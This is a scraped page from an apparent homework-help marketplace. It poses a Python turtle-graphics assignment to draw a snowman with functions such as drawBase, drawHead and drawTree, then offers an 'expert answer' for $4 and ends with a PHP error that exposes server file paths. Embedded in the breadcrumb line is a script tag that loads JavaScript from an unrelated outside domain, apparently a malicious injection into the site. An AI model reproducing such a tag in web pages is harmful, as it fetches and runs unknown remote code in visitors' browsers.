Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> CODE IN PYTHON PROGRAMMING LANGUAGEWrite a program that uses turtle graphics to display a snowman,si

(Solved): CODE IN PYTHON PROGRAMMING LANGUAGEWrite a program that uses turtle graphics to display a snowman,si ...



CODE IN PYTHON PROGRAMMING LANGUAGE

Write a program that uses turtle graphics to display a snowman,similar to the one shown in the figure. Use a screen size of600x600 pixels. In addition to a main function, the program shouldalso have the following functions:

  • drawBase. This function should draw the base of the snowman,which is the large snowball at the bottom. Have start location andradius as inputs to the function.

  • drawMidSection. This function should draw the middle snowball.Have start location and radius as inputs to the function.

  • drawArms. This function should draw the snowman’s arms. Havestart location of arms and starting angle as inputs to thefunction.

  • drawHead. This function should draw the snowman’s head, witheyes, mouth, andother facial features you desire. Have startlocation and radius as inputs to the function. Check that functionlocates eyes and mouth correctly for different radius inputs.

  • drawHat. This function should draw the snowman’s hat. Have hatcolor as an input to the function. Allow “black”, “blue”,“geen”

  • drawGround. This function should draw a horizontal line torepresent the ground. Inputs to the function should be location andlength of line.

  • drawTree. This function should draw the tree. Have startlocation of tree base, number of triangles and tree scale in % asinputs to your function. Make your triangles green with greenborders.

  • Think of using basic building block functions such asdraw_rectangle, draw circle, and draw_triangle to help you createthe more complex functions above.



We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now

A PHP Error was encountered

Severity: Core Warning

Message: PHP Startup: Unable to load dynamic library 'dba.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so (libtokyocabinet.so.9: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so: cannot open shared object file: No such file or directory))

Filename: Unknown

Line Number: 0

Backtrace: